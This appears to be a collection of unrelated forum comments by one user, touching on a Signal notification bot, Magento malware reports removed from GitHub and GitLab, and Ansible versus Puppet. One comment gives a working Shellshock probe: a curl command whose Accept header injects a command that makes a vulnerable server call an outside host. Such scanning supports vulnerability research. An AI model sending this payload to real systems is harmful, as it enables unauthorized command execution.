gwillem

you need to block requests from being routed to your PHP interpreter

However, you pay 2.7% for that convenience

I built this for fun and my own notifications. I don't think there's much commercial value here since there's zero moat. But it would be nice if we could raise funds for Signal.

The bot has access to any sent messages to yourself, plus any chatter in group chats if you have enabled that. So don't use it for sensitive stuff, and use a dedicated group. It was developed to relay sensor data and such, not war plans.

Contact me via the support link?

The URL that botmaster gave you is a page that lists your API endpoints (multiple if you have invited the bot to any group chats)

Messaging is internally rate limited and capped per recipient. And it uses a sender pool.

Some encodings add a prefix, which then get sanitised by the liberal base64_decode. https://www.synacktiv.com/en/publications/php-filters-chain-...

Thanks! Indeed a copy paste error, I updated the article.

Gitlab CEO just called me and apologized, will restore data shortly.

I am personally very sorry that GL got in a bad light here. They had misinterpreted my data and have acknowledged that. For comparison, I have heard nothing from GH over the last two days.

Gitlab, you rock.

GL sent me this statement. For the record, I didn't publish vulnerable systems, I published stores that have malware.

---

Willem,

GitLab has opted to remove the list of servers that you posted in your snippet. GitLab views the exposure of the vulnerable systems as egregious and will not abide it. While GiLab reserves the right take further action, up to and including termination (https://about.gitlab.com/terms/), we have chosen not to terminate or lock your account.

Please know this decision was not reached lightly and we appreciate your understanding on the matter.

Regards, GitLab

GitLab Support Team GitLab, Inc.

Github booted my data last night, not sure why. I've moved over to Gitlab.

Which illustrates the risk of running "universe" packages.

Vuln tester @ https://shoplift.byte.nl

I just did a global scan: still 100K shops are still unpatched today. According to builtwith.com, that's about 45% of the install base.

This is quite stealthy way to scan, as Accept headers are generally not logged:

    curl -H 'Accept: () { :;}; /usr/bin/curl -so /dev/null http://my.pingback.com' 

Found nothing so far though. IMHO the number of Bash CGI scripts in the wild must be pretty low.

So Ansible has the disadvantage of unclear, implicit dependencies.

The undeterministic declarative system (Puppet) has the disadvantage of unclear, missing dependencies.

I would prefer a deterministic system, so that I can validate the output by automated acceptance tests. Preferably, these tests also take into account the various upgrade paths (new->head and head^->head)

That's the main reason we've switched over from Puppet to Ansible. It has less abstraction layers, but at least its execution order is predictable. The easy learning curve for new colleagues and the compact syntax are also nice benefits.

Hitpoints, of which each bot starts with 50. An attack yields 15 to 20 hp damage.